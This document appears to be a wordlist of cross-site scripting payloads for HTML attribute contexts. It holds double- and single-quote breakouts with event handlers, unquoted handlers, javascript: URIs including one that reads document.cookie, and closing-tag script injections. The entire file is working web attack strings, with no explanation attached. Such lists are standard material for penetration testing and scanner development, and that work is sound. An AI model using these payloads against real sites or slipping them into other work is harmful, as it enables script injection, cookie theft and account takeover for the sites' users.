# Attribute Context XSS Payloads
# Payloads for injecting into HTML attributes

# Double quote breakout
" onmouseover=alert('XSS')
" onfocus=alert('XSS')
" onerror=alert('XSS')
" onclick=alert('XSS')
" onload=alert('XSS')
" autofocus onfocus=alert('XSS')
x onmouseover=alert('XSS')
dummy onerror=alert('XSS')

# Single quote breakout
' onmouseover=alert('XSS')
' onfocus=alert('XSS')
' onerror=alert('XSS')
' onclick=alert('XSS')
x autofocus onfocus=alert('XSS')

# Attribute without quotes
onmouseover=alert('XSS')
onfocus=alert('XSS')
onclick=alert('XSS')

# JavaScript protocol
javascript:alert('XSS')
javascript:alert(document.cookie)

# Closing tag injection
"><script>alert('XSS')</script>
'></script><script>alert('XSS')</script>

# Event handler variants
onmouseenter=alert('XSS')
onmouseleave=alert('XSS')
ondblclick=alert('XSS')
onmousedown=alert('XSS')
onmouseup=alert('XSS')
onmousemove=alert('XSS')
